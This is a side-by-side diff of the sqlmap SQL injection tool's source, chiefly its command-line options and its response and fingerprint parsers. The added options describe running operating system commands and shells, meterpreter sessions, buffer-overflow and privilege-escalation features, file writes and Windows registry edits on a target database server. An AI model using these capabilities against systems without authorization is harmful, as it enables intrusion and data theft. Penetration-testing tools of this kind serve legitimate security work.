request = OptionGroup(parser, "Request", "These options can be used " request = OptionGroup(parser, "Request", "These options can be used "
"to specify how to connect to the target url.") "to specify how to connect to the target url.")
request.add_option("--method", dest="method", default="GET", request.add_option("--method", dest="method", default="GET",
help="HTTP method, GET or POST (default: GET)") help="HTTP method, GET or POST (default GET)")
request.add_option("--data", dest="data", request.add_option("--data", dest="data",
help="Data string to be sent through POST") help="Data string to be sent through POST")
@@ -76,8 +72,8 @@ def cmdLineParser():
request.add_option("--cookie", dest="cookie", request.add_option("--cookie", dest="cookie",
help="HTTP Cookie header") help="HTTP Cookie header")
request.add_option("--referer", dest="referer", request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
help="HTTP Referer header") help="Ignore Set-Cookie header from response")
request.add_option("--user-agent", dest="agent", request.add_option("--user-agent", dest="agent",
help="HTTP User-Agent header") help="HTTP User-Agent header")
@@ -86,31 +82,37 @@ def cmdLineParser():
help="Load a random HTTP User-Agent " help="Load a random HTTP User-Agent "
"header from file") "header from file")
request.add_option("--referer", dest="referer",
help="HTTP Referer header")
request.add_option("--headers", dest="headers", request.add_option("--headers", dest="headers",
help="Extra HTTP headers '\\n' separated") help="Extra HTTP headers newline separated")
request.add_option("--auth-type", dest="aType", request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type, value: " help="HTTP Authentication type (value "
"Basic or Digest") "Basic, Digest or NTLM)")
request.add_option("--auth-cred", dest="aCred", request.add_option("--auth-cred", dest="aCred",
help="HTTP Authentication credentials, value: " help="HTTP Authentication credentials (value "
"name:password") "name:password)")
request.add_option("--proxy", dest="proxy", request.add_option("--proxy", dest="proxy",
help="Use a HTTP proxy to connect to the target url") help="Use a HTTP proxy to connect to the target url")
request.add_option("--threads", dest="threads", type="int", request.add_option("--threads", dest="threads", type="int", default=1,
help="Maximum number of concurrent HTTP " help="Maximum number of concurrent HTTP "
"requests (default 1)") "requests (default 1)")
request.add_option("--delay", dest="delay", type="float", request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request") help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float", request.add_option("--timeout", dest="timeout", type="float", default=30,
help="Seconds to wait before timeout connection " help="Seconds to wait before timeout connection "
"(default 10)") "(default 30)")
request.add_option("--retries", dest="retries", type="int", default=3,
help="Retries when the connection timeouts "
"(default 3)")
# Injection options # Injection options
injection = OptionGroup(parser, "Injection", "These options can be " injection = OptionGroup(parser, "Injection", "These options can be "
@@ -126,6 +128,10 @@ def cmdLineParser():
injection.add_option("--dbms", dest="dbms", injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value") help="Force back-end DBMS to this value")
injection.add_option("--os", dest="os",
help="Force back-end DBMS operating system "
"to this value")
injection.add_option("--prefix", dest="prefix", injection.add_option("--prefix", dest="prefix",
help="Injection payload prefix string") help="Injection payload prefix string")
@@ -141,13 +147,12 @@ def cmdLineParser():
"query is valid") "query is valid")
injection.add_option("--excl-str", dest="eString", injection.add_option("--excl-str", dest="eString",
help="String to be excluded before calculating " help="String to be excluded before comparing "
"page hash") "page contents")
injection.add_option("--excl-reg", dest="eRegexp", injection.add_option("--excl-reg", dest="eRegexp",
help="Regexp matches to be excluded before " help="Matches to be excluded before "
"calculating page hash") "comparing page contents")
# Techniques options # Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can " techniques = OptionGroup(parser, "Techniques", "These options can "
@@ -163,19 +168,26 @@ def cmdLineParser():
techniques.add_option("--time-test", dest="timeTest", techniques.add_option("--time-test", dest="timeTest",
action="store_true", action="store_true",
help="Test for Time based blind SQL injection") help="Test for time based blind SQL injection")
techniques.add_option("--time-sec", dest="timeSec",
type="int", default=5,
help="Seconds to delay the DBMS response "
"(default 5)")
techniques.add_option("--union-test", dest="unionTest", techniques.add_option("--union-test", dest="unionTest",
action="store_true", action="store_true",
help="Test for UNION query (inband) SQL injection") help="Test for UNION query (inband) SQL injection")
techniques.add_option("--union-tech", dest="uTech",
help="Technique to test for UNION query SQL injection")
techniques.add_option("--union-use", dest="unionUse", techniques.add_option("--union-use", dest="unionUse",
action="store_true", action="store_true",
help="Use the UNION query (inband) SQL injection " help="Use the UNION query (inband) SQL injection "
"to retrieve the queries output. No " "to retrieve the queries output. No "
"need to go blind") "need to go blind")
# Fingerprint options # Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint") fingerprint = OptionGroup(parser, "Fingerprint")
@@ -183,13 +195,12 @@ def cmdLineParser():
action="store_true", action="store_true",
help="Perform an extensive DBMS version fingerprint") help="Perform an extensive DBMS version fingerprint")
# Enumeration options # Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can " enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database " "be used to enumerate the back-end database "
"management system information, structure " "management system information, structure "
"and data contained in the tables. Moreover " "and data contained in the tables. Moreover "
"you can run your own SQL SELECT queries.") "you can run your own SQL statements.")
enumeration.add_option("-b", "--banner", dest="getBanner", enumeration.add_option("-b", "--banner", dest="getBanner",
action="store_true", help="Retrieve DBMS banner") action="store_true", help="Retrieve DBMS banner")
@@ -211,25 +222,25 @@ def cmdLineParser():
enumeration.add_option("--passwords", dest="getPasswordHashes", enumeration.add_option("--passwords", dest="getPasswordHashes",
action="store_true", action="store_true",
help="Enumerate DBMS users password hashes (opt: -U)") help="Enumerate DBMS users password hashes (opt -U)")
enumeration.add_option("--privileges", dest="getPrivileges", enumeration.add_option("--privileges", dest="getPrivileges",
action="store_true", action="store_true",
help="Enumerate DBMS users privileges (opt: -U)") help="Enumerate DBMS users privileges (opt -U)")
enumeration.add_option("--dbs", dest="getDbs", action="store_true", enumeration.add_option("--dbs", dest="getDbs", action="store_true",
help="Enumerate DBMS databases") help="Enumerate DBMS databases")
enumeration.add_option("--tables", dest="getTables", action="store_true", enumeration.add_option("--tables", dest="getTables", action="store_true",
help="Enumerate DBMS database tables (opt: -D)") help="Enumerate DBMS database tables (opt -D)")
enumeration.add_option("--columns", dest="getColumns", action="store_true", enumeration.add_option("--columns", dest="getColumns", action="store_true",
help="Enumerate DBMS database table columns " help="Enumerate DBMS database table columns "
"(req:-T opt:-D)") "(req -T opt -D)")
enumeration.add_option("--dump", dest="dumpTable", action="store_true", enumeration.add_option("--dump", dest="dumpTable", action="store_true",
help="Dump DBMS database table entries " help="Dump DBMS database table entries "
"(req: -T, opt: -D, -C, --start, --stop)") "(req -T, opt -D, -C)")
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
help="Dump all DBMS databases tables entries") help="Dump all DBMS databases tables entries")
@@ -252,68 +263,142 @@ def cmdLineParser():
"enumerating tables") "enumerating tables")
enumeration.add_option("--start", dest="limitStart", type="int", enumeration.add_option("--start", dest="limitStart", type="int",
help="First table entry to dump") help="First query output entry to retrieve")
enumeration.add_option("--stop", dest="limitStop", type="int", enumeration.add_option("--stop", dest="limitStop", type="int",
help="Last table entry to dump") help="Last query output entry to retrieve")
enumeration.add_option("--first", dest="firstChar", type="int",
help="First query output word character to retrieve")
enumeration.add_option("--last", dest="lastChar", type="int",
help="Last query output word character to retrieve")
enumeration.add_option("--sql-query", dest="query", enumeration.add_option("--sql-query", dest="query",
help="SQL SELECT query to be executed") help="SQL statement to be executed")
enumeration.add_option("--sql-shell", dest="sqlShell", enumeration.add_option("--sql-shell", dest="sqlShell",
action="store_true", action="store_true",
help="Prompt for an interactive SQL shell") help="Prompt for an interactive SQL shell")
# User-defined function options
udf = OptionGroup(parser, "User-defined function injection", "These "
"options can be used to create custom user-defined "
"functions.")
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
help="Inject custom user-defined functions")
udf.add_option("--shared-lib", dest="shLib",
help="Local path of the shared library")
# File system options # File system options
filesystem = OptionGroup(parser, "File system access", "These options " filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database " "can be used to access the back-end database "
"management system file system taking " "management system underlying file system.")
"advantage of native DBMS functions or "
"specific DBMS design weaknesses.")
filesystem.add_option("--read-file", dest="rFile", filesystem.add_option("--read-file", dest="rFile",
help="Read a specific OS file content (only on MySQL)") help="Read a file from the back-end DBMS "
"file system")
filesystem.add_option("--write-file", dest="wFile", filesystem.add_option("--write-file", dest="wFile",
help="Write to a specific OS file (not yet available)") help="Write a local file on the back-end "
"DBMS file system")
filesystem.add_option("--dest-file", dest="dFile",
help="Back-end DBMS absolute filepath to "
"write to")
# Takeover options # Takeover options
takeover = OptionGroup(parser, "Operating system access", "This " takeover = OptionGroup(parser, "Operating system access", "This "
"option can be used to access the back-end " "option can be used to access the back-end "
"database management system operating " "database management system underlying "
"system taking advantage of specific DBMS " "operating system.")
"design weaknesses.")
takeover.add_option("--os-cmd", dest="osCmd",
help="Execute an operating system command")
takeover.add_option("--os-shell", dest="osShell", action="store_true", takeover.add_option("--os-shell", dest="osShell", action="store_true",
help="Prompt for an interactive OS shell " help="Prompt for an interactive operating "
"(only on PHP/MySQL environment with a " "system shell")
"writable directory within the web "
"server document root for the moment)")
takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
help="Prompt for an out-of-band shell, "
"meterpreter or VNC")
takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
help="One click prompt for an OOB shell, "
"meterpreter or VNC")
takeover.add_option("--os-bof", dest="osBof", action="store_true",
help="Stored procedure buffer overflow "
"exploitation")
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
help="User priv escalation by abusing Windows "
"access tokens")
takeover.add_option("--msf-path", dest="msfPath",
help="Local path where Metasploit Framework 3 "
"is installed")
takeover.add_option("--tmp-path", dest="tmpPath",
help="Remote absolute path of temporary files "
"directory")
# Windows registry options
windows = OptionGroup(parser, "Windows registry access", "This "
"option can be used to access the back-end "
"database management system Windows "
"registry.")
windows.add_option("--reg-read", dest="regRead", action="store_true",
help="Read a Windows registry key value")
windows.add_option("--reg-add", dest="regAdd", action="store_true",
help="Write a Windows registry key value data")
windows.add_option("--reg-del", dest="regDel", action="store_true",
help="Delete a Windows registry key value")
windows.add_option("--reg-key", dest="regKey",
help="Windows registry key")
windows.add_option("--reg-value", dest="regVal",
help="Windows registry key value")
windows.add_option("--reg-data", dest="regData",
help="Windows registry key value data")
windows.add_option("--reg-type", dest="regType",
help="Windows registry key value type")
# Miscellaneous options # Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and "
"calculate the estimated time of arrival "
"in real time")
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version")
miscellaneous.add_option("-s", dest="sessionFile", miscellaneous.add_option("-s", dest="sessionFile",
help="Save and resume all data retrieved " help="Save and resume all data retrieved "
"on a session file") "on a session file")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Display for each output the "
"estimated time of arrival")
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
help="Use google dork results from specified page number")
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version")
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true", miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
help="Save options on a configuration INI file") help="Save options on a configuration INI file")
miscellaneous.add_option("--batch", dest="batch", action="store_true", miscellaneous.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behaviour") help="Never ask for user input, use the default behaviour")
miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
help="Clean up the DBMS by sqlmap specific "
"UDF and tables")
parser.add_option_group(target) parser.add_option_group(target)
parser.add_option_group(request) parser.add_option_group(request)
@@ -321,8 +406,10 @@ def cmdLineParser():
parser.add_option_group(techniques) parser.add_option_group(techniques)
parser.add_option_group(fingerprint) parser.add_option_group(fingerprint)
parser.add_option_group(enumeration) parser.add_option_group(enumeration)
parser.add_option_group(udf)
parser.add_option_group(filesystem) parser.add_option_group(filesystem)
parser.add_option_group(takeover) parser.add_option_group(takeover)
parser.add_option_group(windows)
parser.add_option_group(miscellaneous) parser.add_option_group(miscellaneous)
(args, _) = parser.parse_args() (args, _) = parser.parse_args()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from ConfigParser import NoSectionError from ConfigParser import NoSectionError
from ConfigParser import ConfigParser from ConfigParser import ConfigParser
@@ -33,10 +31,8 @@ from lib.core.data import logger
from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.optiondict import optDict from lib.core.optiondict import optDict
config = None config = None
def configFileProxy(section, option, boolean=False, integer=False): def configFileProxy(section, option, boolean=False, integer=False):
""" """
Parse configuration file and save settings into the configuration Parse configuration file and save settings into the configuration
@@ -63,7 +59,6 @@ def configFileProxy(section, option, boolean=False, integer=False):
debugMsg += "ignoring. Skipping to next." debugMsg += "ignoring. Skipping to next."
logger.debug(debugMsg) logger.debug(debugMsg)
def configFileParser(configFile): def configFileParser(configFile):
""" """
Parse configuration file and save settings into the configuration Parse configuration file and save settings into the configuration

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,15 +22,9 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from xml.sax.handler import ContentHandler from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import kb
class FingerprintHandler(ContentHandler): class FingerprintHandler(ContentHandler):
""" """
@@ -39,15 +33,13 @@ class FingerprintHandler(ContentHandler):
""" """
def __init__(self, banner, info): def __init__(self, banner, info):
self.__banner = sanitizeStr(banner) self.__banner = sanitizeStr(banner)
self.__regexp = None self.__regexp = None
self.__match = None self.__match = None
self.__dbmsVersion = None self.__dbmsVersion = None
self.__techVersion = None self.__techVersion = None
self.__info = info self.__info = info
def __feedInfo(self, key, value): def __feedInfo(self, key, value):
value = sanitizeStr(value) value = sanitizeStr(value)
@@ -63,7 +55,6 @@ class FingerprintHandler(ContentHandler):
for v in value.split("|"): for v in value.split("|"):
self.__info[key].add(v) self.__info[key].add(v)
def startElement(self, name, attrs): def startElement(self, name, attrs):
if name == "regexp": if name == "regexp":
self.__regexp = sanitizeStr(attrs.get("value")) self.__regexp = sanitizeStr(attrs.get("value"))

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,9 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os
import re
from xml.sax import parse from xml.sax import parse
@@ -33,7 +31,6 @@ from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.parse.handler import FingerprintHandler from lib.parse.handler import FingerprintHandler
def headersParser(headers): def headersParser(headers):
""" """
This function calls a class that parses the input HTTP headers to This function calls a class that parses the input HTTP headers to
@@ -48,13 +45,13 @@ def headersParser(headers):
kb.headersCount += 1 kb.headersCount += 1
topHeaders = { topHeaders = {
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH, "cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH, "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH, "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH, "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH, "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH, "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
} }
for header in headers: for header in headers:

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from xml.sax import parse from xml.sax import parse
@@ -34,7 +32,6 @@ from lib.core.common import sanitizeStr
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
class htmlHandler(ContentHandler): class htmlHandler(ContentHandler):
""" """
This class defines methods to parse the input HTML page to This class defines methods to parse the input HTML page to
@@ -49,7 +46,6 @@ class htmlHandler(ContentHandler):
self.dbms = None self.dbms = None
def startElement(self, name, attrs): def startElement(self, name, attrs):
if name == "dbms": if name == "dbms":
self.__dbms = attrs.get("value") self.__dbms = attrs.get("value")
@@ -62,7 +58,6 @@ class htmlHandler(ContentHandler):
self.dbms = self.__dbms self.dbms = self.__dbms
self.__match = None self.__match = None
def htmlParser(page): def htmlParser(page):
""" """
This function calls a class that parses the input HTML page to This function calls a class that parses the input HTML page to

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from xml.sax import parse from xml.sax import parse
from xml.sax.handler import ContentHandler from xml.sax.handler import ContentHandler
@@ -34,7 +32,6 @@ from lib.core.data import queries
from lib.core.data import paths from lib.core.data import paths
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
class queriesHandler(ContentHandler): class queriesHandler(ContentHandler):
""" """
This class defines methods to parse the default DBMS queries This class defines methods to parse the default DBMS queries
@@ -45,7 +42,6 @@ class queriesHandler(ContentHandler):
self.__dbms = '' self.__dbms = ''
self.__queries = advancedDict() self.__queries = advancedDict()
def startElement(self, name, attrs): def startElement(self, name, attrs):
if name == "dbms": if name == "dbms":
data = sanitizeStr(attrs.get("value")) data = sanitizeStr(attrs.get("value"))
@@ -103,10 +99,17 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data self.__queries.timedelay = data
data = sanitizeStr(attrs.get("query2"))
self.__queries.timedelay2 = data
elif name == "substring": elif name == "substring":
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data self.__queries.substring = data
elif name == "case":
data = sanitizeStr(attrs.get("query"))
self.__queries.case = data
elif name == "inference": elif name == "inference":
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.inference = data self.__queries.inference = data
@@ -127,6 +130,10 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.isDba = data self.__queries.isDba = data
elif name == "check_udf":
data = sanitizeStr(attrs.get("query"))
self.__queries.checkUdf = data
elif name == "inband": elif name == "inband":
self.__inband = sanitizeStr(attrs.get("query")) self.__inband = sanitizeStr(attrs.get("query"))
self.__inband2 = sanitizeStr(attrs.get("query2")) self.__inband2 = sanitizeStr(attrs.get("query2"))
@@ -139,7 +146,6 @@ class queriesHandler(ContentHandler):
self.__count = sanitizeStr(attrs.get("count")) self.__count = sanitizeStr(attrs.get("count"))
self.__count2 = sanitizeStr(attrs.get("count2")) self.__count2 = sanitizeStr(attrs.get("count2"))
def endElement(self, name): def endElement(self, name):
if name == "dbms": if name == "dbms":
queries[self.__dbms] = self.__queries queries[self.__dbms] = self.__queries
@@ -198,7 +204,6 @@ class queriesHandler(ContentHandler):
self.__queries.dumpTable = self.__dumpTable self.__queries.dumpTable = self.__dumpTable
def queriesParser(): def queriesParser():
""" """
This function calls a class to parse the default DBMS queries This function calls a class to parse the default DBMS queries

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,17 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import gzip
import os
import re import re
import StringIO
import zlib
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths
from lib.parse.headers import headersParser from lib.parse.headers import headersParser
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
def forgeHeaders(cookie, ua): def forgeHeaders(cookie, ua):
""" """
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
@@ -51,17 +51,12 @@ def forgeHeaders(cookie, ua):
return headers return headers
def parseResponse(page, headers): def parseResponse(page, headers):
""" """
@param page: the page to parse to feed the knowledge base htmlFp @param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return (back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file through the web application) list and absFilePaths (absolute file
paths) set. paths) set.
@todo: in the future parse the page content scrolling an XML file to
identify the dynamic language used and, most, the absolute path,
like for DBMS error messages (ERRORS_XML), see above.
""" """
if headers: if headers:
@@ -73,8 +68,29 @@ def parseResponse(page, headers):
# Detect injectable page absolute system path # Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application # NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled. # is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I) absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
for absFilePath in absFilePaths: for absFilePathRegExp in absFilePathsRegExp:
if absFilePath not in kb.absFilePaths: reobj = re.compile(absFilePathRegExp)
kb.absFilePaths.add(absFilePath)
for match in reobj.finditer(page):
absFilePath = match.group()
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(os.path.dirname(absFilePath))
def decodePage(page, encoding):
"""
Decode gzip/deflate HTTP response
"""
if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'):
if encoding == 'deflate':
# http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
data = StringIO.StringIO(zlib.decompress(page, -15))
else:
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
page = data.read()
return page

View File

@@ -0,0 +1,12 @@
import httplib
import urllib2
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
def __init__(self, key_file, cert_file):
urllib2.HTTPSHandler.__init__(self)
self.key_file = key_file
self.cert_file = cert_file
def https_open(self, req):
return self.do_open(self.getConnection, req)
def getConnection(self, host):
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import md5
import re import re
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger
from lib.core.session import setMatchRatio
def comparison(page, headers=None, getSeqMatcher=False):
def comparison(page, headers=None, content=False):
regExpResults = None regExpResults = None
# String to be excluded before calculating page hash # String to be excluded before calculating page hash
@@ -67,40 +65,38 @@ def comparison(page, headers=None, content=False):
else: else:
return False return False
# By default it returns the page content MD5 hash conf.seqMatcher.set_seq2(page)
if not conf.equalLines and not conf.contentLengths: ratio = round(conf.seqMatcher.ratio(), 3)
return md5.new(page).hexdigest()
# TODO: go ahead from here # If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if conf.matchRatio is None:
if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
logger.debug("setting match ratio to %.3f" % ratio)
conf.matchRatio = ratio
# Comparison algorithm based on Content-Length header value elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
elif conf.contentLengths: logger.debug("setting match ratio to default value 0.900")
minValue = conf.contentLengths[0] - 10 conf.matchRatio = 0.900
maxValue = conf.contentLengths[1] + 10
if len(page) >= minValue and len(page) <= maxValue: if conf.matchRatio is not None:
return True setMatchRatio()
# Comparison algorithm based on page content's stable lines subset # If it has been requested to return the ratio and not a comparison
elif conf.equalLines: # response
counter = 0 if getSeqMatcher:
trueLines = 0 return ratio
pageLines = page.split("\n")
for commonLine in conf.equalLines: # If the url is stable it returns True if the page has the same MD5
if counter >= len(pageLines): # hash of the original one
break # NOTE: old implementation, it did not handle automatically the fact
